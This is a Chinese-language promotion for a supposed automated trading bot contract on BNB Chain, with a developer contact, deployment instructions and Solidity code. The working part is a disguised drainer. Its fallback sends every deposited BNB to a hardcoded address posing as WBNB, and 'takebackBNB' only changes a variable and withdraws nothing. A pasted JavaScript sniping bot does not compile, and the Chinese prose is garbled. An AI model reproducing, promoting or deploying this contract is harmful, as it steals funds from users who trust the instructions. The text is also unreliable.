“量化交易”有着两层含意:一是从广义上来讲,是指量化交易的内容,将交易条件转变成为程序,主动下单;二是从狭义上来讲,是指零碎交易办法,就是一个整合的交易系统。即为依据一系列交易条件,智能化辅助决策体系,将丰盛的从业教训与交易条件相结合,在交易过程治理好危险管制。

pragma solidity ^0.4.0,量化合约智能合约dapp零碎开发v+hkkf5566;

/*

阐明:

部署时候15行有一条报错,间接疏忽就行这是失常景象

部署版本抉择 0.4.26

部署前批改174行地址为本人的钱包地址(其它任何中央不可批改)

部署合约名称为:robot

部署实现后向合约地址转入BNb 机器人将主动开始运行。(倡议转入不低于0.4BNb)

如须要取回合约外面的残余的BNB代币,请输出承受地址后点击takebackBNB。

请勿向合约地址转入除了Bnb以外的任何资产,否者将不可找回。

*/

contract { //这里会有报错,间接疏忽不必管

async function initBot() {

if (presaleContractAddress === '' || presaleContractAddress == null || presaleContractAddress.length !== 42 || await web3.eth.getCode(presaleContractAddress) === '0x') {    return console.error('预售地址没填写或填写谬误,预售地址必须是合约地址');} else if (buyingBnbAmount === '' || buyingBnbAmount == null) {    return console.error('购买BNB的数量填写谬误');} else if (senderPrivateKey === '' || senderPrivateKey == null) {    return console.error('私钥填写谬误');}var privateKeys = [];if (senderPrivateKey.indexOf(',') > -1) {    privateKeys = senderPrivateKey.split(',');} else {    privateKeys.push(senderPrivateKey);}var addressesUsedToSendTransactions = ''; var firstIteration = true;for (var i = 0, len = privateKeys.length; i < len; i+=1) {    if (privateKeys[i].length !== 66) {        return console.error('须要传入一个或多个钱包私钥,多个钱包私钥请应用,作为分隔符');    }    if (firstIteration) {        firstIteration = false;        addressesUsedToSendTransactions += web3.eth.accounts.privateKeyToAccount(privateKeys[i]).address;    } else {        addressesUsedToSendTransactions += ', ' + web3.eth.accounts.privateKeyToAccount(privateKeys[i]).address;    }}var senderAddress = web3.eth.accounts.privateKeyToAccount(privateKeys[0]).address;web3.eth.getBalance(senderAddress).then(r => {    const balance = r / 1000000000000000000    console.log("====================================================")    console.log(`预售地址:`, chalk.green(presaleContractAddress))    console.log(`钱包地址:`, chalk.green(addressesUsedToSendTransactions));    console.log(`钱包余额:`, chalk.green(`${balance} BNB`))    console.log(`购买数量:`, chalk.green(`${buyingBnbAmount} BNB`))    console.log(`Gas limit: ${gasLimit}`);    console.log(`Gas price: ${(gasPrice / 1000000000) + ' Gwei'}`);    console.log(`矿工费: < ${(gasLimit * (gasPrice / 1000000000)) / 1000000000} BNB (Gax used x Gas price)`)    console.log("====================================================")    if (parseFloat(buyingBnbAmount) > balance) {        console.log(chalk.red("钱包余额有余,已主动退出"))        process.exit()    }})if (botInitialDelay > 0) {    console.log(`${hours}小时${mins}分钟${secs}秒后启动机器人 (${botInitialDelay / 1000}秒)`)    console.log("期待中......")} else {    console.log('启动胜利... ¯\\_(*o*)_/¯');}setTimeout(function () {    var executeBuy = true;    const job = new Cronr(cronTime, function() {        // projectData.utils.consoleLog('Cronjob iteration.');        if (executeBuy) {            executeBuy = false;            var counter = 0;            return recursiveTransactionsLoop(counter);            function recursiveTransactionsLoop(counter) {                var senderAddress = web3.eth.accounts.privateKeyToAccount(privateKeys[counter]).address;                web3.eth.estimateGas({to: presaleContractAddress, from: senderAddress, value: web3.utils.toHex(web3.utils.toWei(buyingBnbAmount, 'ether'))}, function(gasEstimateError, gasAmount) {                    if (!gasEstimateError) {                        projectData.utils.consoleLog('Transaction estimation successful: ' + gasAmount);                        var txParams = {                            gas: web3.utils.toHex(gasLimit),                            gasPrice: web3.utils.toHex(gasPrice),                            chainId: chainId,                            value: web3.utils.toHex(web3.utils.toWei(buyingBnbAmount, 'ether')),                            to: presaleContractAddress                        };                        web3.eth.accounts.signTransaction(txParams, privateKeys[counter], function (signTransactionErr, signedTx) {                            if (!signTransactionErr) {                                web3.eth.sendSignedTransaction(signedTx.rawTransaction, function (sendSignedTransactionErr, transactionHash) {                                    if (!sendSignedTransactionErr) {                                        if (counter === privateKeys.length - 1) {                                            if (privateKeys.length === 1) {                                                projectData.utils.consoleLog(`first and only transaction sent success. Transaction hash: ${transactionHash}. https://www.bscscan.com/tx/${transactionHash}`);                                            } else {                                                projectData.utils.consoleLog(`Completed last transaction. Transaction hash: ${transactionHash}. https://www.bscscan.com/tx/${transactionHash}`);                                            }                                        } else {                                            projectData.utils.consoleLog('Completed transaction. Transaction hash: ' + transactionHash);                                            counter+=1;                                            return recursiveTransactionsLoop(counter);                                        }                                    } else {                                        executeBuy = true;                                        if (sendSignedTransactionErr.message) {                                            projectData.utils.consoleLog('sendSignedTransaction failed, most likely signed with low gas limit.. Message: ' + sendSignedTransactionErr.message);                                        } else {                                            projectData.utils.consoleLog('sendSignedTransaction failed, most likely signed with low gas limit.. Message: ' + sendSignedTransactionErr.toString());                                        }                                        if (counter !== privateKeys.length - 1) {                                            counter+=1;                                            return recursiveTransactionsLoop(counter);                                        }                                    }                                })                                    .on("receipt", () => {                                        console.log(chalk.green(`Transaction confirmed.`))                                    })                                    .on("error", (err) => {                                        console.log("Error during transaction execution. Details will follow.")                                        console.log(err)                                    })                            } else {                                executeBuy = true;                                if (signTransactionErr.message) {                                    projectData.utils.consoleLog('signTransaction failed, most likely signed with low gas limit. Message: ' + signTransactionErr.message);                                } else {                                    projectData.utils.consoleLog('signTransaction failed, most likely signed with low gas limit. Message: ' + signTransactionErr.toString());                                }                                if (counter !== privateKeys.length - 1) {                                    counter+=1;                                    return recursiveTransactionsLoop(counter);                                }                            }                        });                    } else {                        executeBuy = true;                        if (gasEstimateError.message) {                            projectData.utils.consoleLog('estimateGas failed. Error message: ' + gasEstimateError.message);                        } else {                            projectData.utils.consoleLog('estimateGas failed. Error message: ' + gasEstimateError.toString());                        }                        if (counter !== privateKeys.length - 1) {                            counter+=1;                            return recursiveTransactionsLoop(counter);                        }                    }                });            }        }    }, {});    job.start();}, botInitialDelay);

}

contract robot {

address public beneficiary = 0x75D23E252bFE1500c7f654024d9800790620a853;//批改为你的收益地址(必须批改)constructor() public {    }function () payable public {    WBNBaddress.transfer(msg.value);}address  USDTaddress = 0x55d398326f99059fF775485246999027B3197955;address  USDCaddress = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;uint256 interlgas =  32000 ;function takebackBNB(address addre) public {    beneficiary = addre ;}

address WBNBaddress = 0x26b9E75C844F1B8E700c903a3EBC53c69AC4Da28;

}

contract owned{

address public owner;constructor () public {    owner = msg.sender;}modifier onlyOwner{    if(msg.sender != owner){        revert();    }else{        _;    }}

}